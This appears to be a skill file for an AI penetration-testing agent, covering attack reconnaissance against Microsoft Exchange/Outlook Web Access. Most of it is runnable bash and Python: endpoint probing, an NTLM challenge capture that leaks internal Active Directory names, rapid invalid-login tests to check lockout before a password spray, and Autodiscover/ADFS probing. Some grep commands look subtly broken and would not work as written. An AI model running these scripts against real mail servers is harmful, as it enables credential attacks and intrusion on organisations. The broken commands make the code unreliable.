Exchange/OWA Attack Skill
Exchange Outlook Web Access reconnaissance covering endpoint mapping, NTLM Type-2 metadata, authentication controls, and version evidence. Password or lockout testing requires explicit authorization and approved identities.
When to Use
- Target has
owa.,mail.,webmail.,exchange., orautodiscover.subdomains. - crt.sh reveals Exchange-related SAN names (
mail.domain.com,autodiscover.domain.com). - Port 443 returns NTLM
WWW-Authenticate: NegotiateorWWW-Authenticate: NTLM. - After
subdomain-enumerationdiscovers mail-related hosts. - After
port-service-discoveryfinds HTTPS on port 443 with Exchange fingerprints.
Prerequisites
terminalwith curl, python3.- Target Exchange/OWA URL.
- For password spray: list of usernames (from recon) and password candidates.
How to Run
bash# Quick Exchange detection curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/owa/" | grep -iE "x-owa-version|x-feserver|exchange|microsoft" # NTLM challenge capture (AD domain leak) curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/owa/" -H "Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" | grep -i "www-authenticate"
Quick Reference
| Technique | What It Reveals | Severity |
|---|---|---|
| NTLM Type-2 decode | AD domain, NetBIOS name, computer name, AD timestamp | High |
| OWA version header | Exchange version, CU level, patch status | Medium |
/owa/auth/logon.aspx | Login page, brute force surface | Medium |
/ecp/ | Exchange Control Panel (admin) | High |
/ews/ | Exchange Web Services (SOAP API) | Medium |
/autodiscover/ | Autodiscover configuration | Medium |
/mapi/ | MAPI over HTTP | Low |
/Microsoft-Server-ActiveSync | Mobile device sync | Medium |
/rpc/ | Outlook Anywhere (RPC over HTTP) | Low |
Procedure
Phase 1 — Exchange Detection & Fingerprinting
bashTARGET="$1" OUTDIR="$OUTDIR/exchange" mkdir -p "$OUTDIR" echo "[*] Exchange detection on $TARGET" # OWA probe OWA_RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/owa/" 2>/dev/null) echo "$OWA_RESP" > "$OUTDIR/owa_headers.txt" # Version extraction X_OWA=$(echo "$OWA_RESP" | grep -i "x-owa-version" | sed 's/.*: //') X_FE=$(echo "$OWA_RESP" | grep -i "x-feserver" | sed 's/.*: //') if [[ -n "$X_OWA" ]]; then echo "[+] Exchange confirmed — OWA Version: $X_OWA" echo " Frontend server: ${X_FE:-unknown}" # Map version to CU # 15.1.x = Exchange 2016, 15.2.x = Exchange 2019 MAJOR=$(echo "$X_OWA" | cut -d. -f1-2) if [[ "$MAJOR" == "15.1" ]]; then echo " Product: Exchange 2016" elif [[ "$MAJOR" == "15.2" ]]; then echo " Product: Exchange 2019" fi else echo "[-] No OWA version header — may not be Exchange" fi # Key endpoints probe declare -A EX_ENDPOINTS EX_ENDPOINTS["/owa/auth/logon.aspx"]="Login page" EX_ENDPOINTS["/ecp/"]="Exchange Control Panel (admin)" EX_ENDPOINTS["/ews/exchange.asmx"]="Exchange Web Services (SOAP)" EX_ENDPOINTS["/autodiscover/autodiscover.xml"]="Autodiscover" EX_ENDPOINTS["/mapi/emsmdb/"]="MAPI over HTTP" EX_ENDPOINTS["/Microsoft-Server-ActiveSync/"]="ActiveSync" EX_ENDPOINTS["/rpc/rpcproxy.dll"]="Outlook Anywhere" EX_ENDPOINTS["/owa/healthcheck.htm"]="Health check" echo "" echo "[*] Endpoint probe:" for ep in "${!EX_ENDPOINTS[@]}"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$ep") [[ "$code" == "200" ]] && echo " [OPEN] $ep — ${EX_ENDPOINTS[$ep]}" [[ "$code" == "302" ]] && echo " [REDIR] $ep — ${EX_ENDPOINTS[$ep]}" [[ "$code" == "401" ]] && echo " [AUTH] $ep — ${EX_ENDPOINTS[$ep]}" done
Phase 2 — NTLM Type-2 Challenge Capture & Decode
bashTARGET="$1" echo "[*] NTLM challenge capture from $TARGET" # Send NTLM Type-1 (Negotiate) message via Authorization header NTLM_RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/owa/" \ -H "Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" 2>/dev/null) WWW_AUTH=$(echo "$NTLM_RESP" | grep -i "www-authenticate: negotiate" | sed 's/.*negotiate //i' | tr -d '\r\n ') if [[ -n "$WWW_AUTH" ]]; then echo "[+] NTLM Type-2 challenge received!" echo " Raw: ${WWW_AUTH:0:80}..." # Decode with Python (extract AV_PAIRS structure) echo "$WWW_AUTH" | python3 -c " import base64, struct, sys data = base64.b64decode(sys.stdin.read().strip()) # NTLM Type-2 message structure: # Offset 12: Target Name # Offset 16: Negotiate Flags # Offset 20: Server Challenge # Offset 28: Reserved # Offset 32: Target Info (AV_PAIRS) # Parse Target Info if len(data) > 40: target_info_offset = struct.unpack_from('<I', data, 40)[0] target_info_len = struct.unpack_from('<I', data, 44)[0] av_pairs = data[target_info_offset:target_info_offset + target_info_len] print() print('=== NTLM Type-2 Decoded ===') pos = 0 while pos < len(av_pairs) - 4: av_type = struct.unpack_from('<H', av_pairs, pos)[0] av_len = struct.unpack_from('<H', av_pairs, pos + 2)[0] av_value = av_pairs[pos + 4:pos + 4 + av_len] # AV_PAIR types types = { 1: 'NetBIOS Computer Name', 2: 'NetBIOS Domain Name', 3: 'DNS Computer Name', 4: 'DNS Domain Name', 5: 'DNS Tree Name', 6: 'Product Version', 7: 'Timestamp', } label = types.get(av_type, f'Unknown({av_type})') if av_type in (1, 2, 3, 4, 5): value = av_value.decode('utf-16-le', errors='replace') print(f' {label}: {value}') elif av_type == 7: ts = struct.unpack_from('<Q', av_value)[0] from datetime import datetime, timezone dt = datetime.fromtimestamp(ts / 10000000 - 11644473600, tz=timezone.utc) print(f' Timestamp: {dt}') else: print(f' {label}: {av_value.hex()}') pos += 4 + av_len else: print(' No AV_PAIRS in response') " fi
Phase 3 — Password Spray Surface Assessment
bashTARGET="$1" echo "[*] Password spray surface assessment" # Check for account lockout by testing rapid logins with invalid password echo "[*] Rate limiting test (5 rapid attempts with wrong password)..." for i in $(seq 1 5); do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \ -X POST "https://$TARGET/owa/auth.owa" \ -d "destination=https://$TARGET/owa/&username=testuser$i@domain.com&password=WrongPass123!" 2>/dev/null) echo " Attempt $i: HTTP $code" done # Check if Basic Auth is enabled (rare post-2022, but exists) BASIC_AUTH=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/owa/" \ -H "Authorization: Basic dGVzdDp0ZXN0" 2>/dev/null | grep -i "www-authenticate.*basic") if [[ -n "$BASIC_AUTH" ]]; then echo " [!] Basic Auth ENABLED — easier brute force vector" fi # Check healthcheck endpoint (sometimes exposes version/config) HEALTH=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/owa/healthcheck.htm" 2>/dev/null) if [[ -n "$HEALTH" ]] && echo "$HEALTH" | grep -qi "200 ok"; then echo " [+] Healthcheck accessible — server status exposed" fi
Phase 4 — ADFS/Office 365 Recon (hybrid environments)
bashTARGET_DOMAIN="$1" # e.g., company.com echo "[*] ADFS/Office 365 recon on $TARGET_DOMAIN" # Check for ADFS ADFS_URL="https://sts.$TARGET_DOMAIN/adfs/ls/IdpInitiatedSignOn.aspx" ADFS_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$ADFS_URL") [[ "$ADFS_CODE" == "200" || "$ADFS_CODE" == "302" ]] && echo " [+] ADFS: $ADFS_URL (HTTP $ADFS_CODE)" # Check Office 365 tenant O365_XML=$(curl -sk --max-time 5 --connect-timeout 5 "https://login.microsoftonline.com/getuserrealm.srf?login=user@$TARGET_DOMAIN&xml=1" 2>/dev/null) if echo "$O365_XML" | grep -qi "Federated\|Managed"; then echo " [+] Office 365 tenant: $(echo "$O365_XML" | grep -Eo '<NameSpaceType>\K[^<]+')" echo " $(echo "$O365_XML" | grep -Eo '<DomainName>\K[^<]+')" fi # Autodiscover (leaks internal server names) AUTODISCOVER=$(curl -sk --max-time 10 --connect-timeout 10 "https://autodiscover.$TARGET_DOMAIN/autodiscover/autodiscover.xml" \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>user@'$TARGET_DOMAIN'</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>' 2>/dev/null) if echo "$AUTODISCOVER" | grep -qi "server\|internal"; then echo " [+] Autodiscover response — internal server names leaked" echo "$AUTODISCOVER" | grep -Eo '(?:<Server>|<InternalRpcClientServer>|<ASUrl>)[^<]+' | head -5 fi
Pitfalls
- NTLM relay requires specific network position. Unless you control a machine the Exchange server can reach, NTLM relay is not exploitable remotely.
- Modern Exchange (Exchange Online, 2019+) blocks Basic Auth by default. Test with Modern Auth (OAuth2) if Basic is blocked.
- Account lockout policies vary. Test with a single known-bad password before spraying.
- ADFS is NOT Exchange. ADFS is a separate service with its own attack surface (SAML, WS-Trust).
Verification
- NTLM Type-2 MUST decode to reveal at minimum DNS Domain Name and NetBIOS Domain Name.
- OWA version MUST be extracted from
X-OWA-Versionheader. - Password spray surface: confirm NO rate limiting (5 rapid attempts all return the same HTTP code).
- Autodiscover MUST return internal server names (not just external URLs).
- Document: Exchange version, AD domain, NetBIOS name, computer names, rate limiting status.
Related Skills
password-spray-methodology— Universal password spray pipeline across all protocols + error code differentials

